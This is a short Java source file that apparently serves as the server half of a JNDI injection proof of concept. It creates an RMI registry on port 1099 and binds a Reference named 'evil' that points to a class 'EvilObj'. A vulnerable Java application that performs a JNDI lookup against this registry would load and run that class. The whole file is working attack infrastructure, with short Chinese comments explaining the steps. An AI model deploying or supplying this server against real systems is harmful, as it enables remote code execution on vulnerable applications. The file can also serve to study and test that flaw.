package cn.unknowpupil.rmi;


import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;


/**
 * Create at  2021/12/14 by w10g <br> Initialize RMIService ... <br>
 *
 * @Author: <a> unknowpupil </a>
 * @Since: 0.0.1
 */
public class RMIService {

  public static void main(String[] args) {
    try {
      // 相当一个注册中心
      LocateRegistry.createRegistry(1099);
      Registry registry = LocateRegistry.getRegistry();
      System.out.println("Creat4e RMI registry on port 1099");

      //相当于注册了一个服务
      Reference reference = new Reference("cn.unknowpupil.rmi.EvilObj","cn.unknowpupil.rmi.EvilObj",null);
      ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
      registry.bind("evil",referenceWrapper);
    }catch (Exception e){
      e.printStackTrace();
    }
  }
}
